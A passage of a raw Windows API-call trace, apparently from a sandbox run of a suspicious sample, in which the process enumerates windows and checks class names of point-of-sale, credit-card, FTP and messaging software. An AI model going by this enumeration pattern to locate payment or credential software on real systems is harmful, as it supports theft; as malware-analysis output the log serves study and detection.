[0140.921] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0140.921] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.921] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0140.921] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0140.921] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0140.921] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0140.922] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0140.922] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0140.922] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0140.922] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0140.922] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0140.922] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0140.922] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.922] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0140.922] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0140.922] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0140.922] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0140.922] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0140.922] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0140.922] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.923] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.923] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.923] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0140.923] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0140.923] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0140.924] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0140.924] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0140.925] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4f78950 [0140.925] IMalloc:Free (This=0x7fefecb5380, pv=0x4f78950) [0145.062] GetAsyncKeyState (vKey=27) returned 0 [0145.062] GetCurrentThreadId () returned 0xbdc [0145.062] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0145.062] GetDesktopWindow () returned 0x10010 [0145.063] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0145.063] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0145.063] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0145.063] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0145.063] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0145.063] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0145.063] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0145.063] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0145.063] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0145.064] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0145.064] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0145.064] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0145.064] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0145.064] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0145.064] IsWindowEnabled (hWnd=0x20360) returned 0 [0145.064] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0145.064] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0145.064] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0145.064] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0145.065] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0145.065] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0145.065] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0145.065] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0145.065] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0145.065] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0145.065] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0145.065] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0145.065] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0145.065] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0145.065] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0145.065] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0145.066] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0145.066] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0145.066] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0145.066] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0145.066] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0145.066] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0145.067] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0145.161] GetCurrentThreadId () returned 0xbdc [0145.161] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0145.161] GetDesktopWindow () returned 0x10010 [0145.162] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0145.162] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0145.162] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0145.162] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0145.163] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0145.163] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0145.163] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0145.163] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0145.163] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0145.163] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0145.163] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0145.163] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0145.163] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0145.163] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0145.163] IsWindowEnabled (hWnd=0x20360) returned 1 [0145.163] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0145.163] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0145.163] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0145.164] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0145.164] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0145.174] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0145.174] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0145.174] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0145.174] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0145.174] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0145.174] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0145.174] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0145.174] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0145.174] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0145.174] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0145.175] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0145.175] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0145.175] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0145.175] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0145.175] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0145.175] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0145.175] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0145.175] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0145.175] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0145.175] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0145.175] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0145.175] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0145.175] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0145.176] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0145.176] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0145.176] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0145.176] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0145.176] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0145.176] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0145.176] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0145.177] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0145.177] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0145.177] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0145.177] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0145.177] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0145.178] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0145.178] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0145.178] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0145.178] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0145.178] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0145.179] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0145.179] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0145.179] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0145.179] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0145.179] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0145.200] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0145.200] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0145.200] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0145.200] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0145.200] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.201] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.201] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0145.201] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0145.201] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0145.201] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0145.201] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0145.201] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0145.201] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.201] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.201] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0145.201] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0145.201] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0145.201] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0145.201] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0145.201] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0145.201] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.201] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.201] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0145.201] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0145.201] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0145.201] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0145.201] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0145.201] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0145.201] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.201] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.201] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0145.201] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0145.201] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0145.201] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0145.201] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0145.201] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0145.201] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.202] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.202] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0145.202] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0145.202] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0145.202] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0145.202] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0145.202] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0145.202] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.202] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.202] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0145.202] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0145.202] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0145.202] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0145.202] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0145.202] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0145.202] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.202] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.202] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0145.202] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0145.202] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0145.202] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0145.202] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0145.202] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0145.202] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.202] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.202] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0145.202] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0145.202] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0145.202] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0145.202] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0145.202] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0145.202] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.202] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.203] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0145.203] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0145.203] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0145.203] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0145.203] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0145.203] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0145.203] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.203] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.203] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0145.203] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0145.203] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0145.203] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0145.203] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0145.203] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0145.203] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.203] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.203] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0145.203] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0145.203] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0145.203] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0145.203] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0145.203] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0145.203] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.203] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.203] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0145.203] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0145.203] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0145.203] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0145.203] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0145.203] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0145.203] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.203] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.204] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0145.204] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0145.204] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0145.204] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0145.204] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0145.204] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0145.204] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.204] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.204] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0145.204] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0145.204] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0145.204] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0145.204] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0145.204] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0145.204] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.204] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.204] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0145.204] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0145.204] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0145.204] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0145.204] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0145.204] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0145.204] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.204] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.204] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0145.204] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0145.204] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0145.204] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0145.204] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0145.204] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0145.204] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.204] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.204] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0145.205] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0145.205] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0145.205] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0145.205] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0145.205] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0145.205] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.205] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.205] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0145.205] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0145.205] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0145.205] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0145.205] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0145.205] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0145.205] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.205] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.205] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0145.205] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0145.205] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0145.205] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0145.205] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0145.205] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0145.205] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.205] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.205] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0145.205] 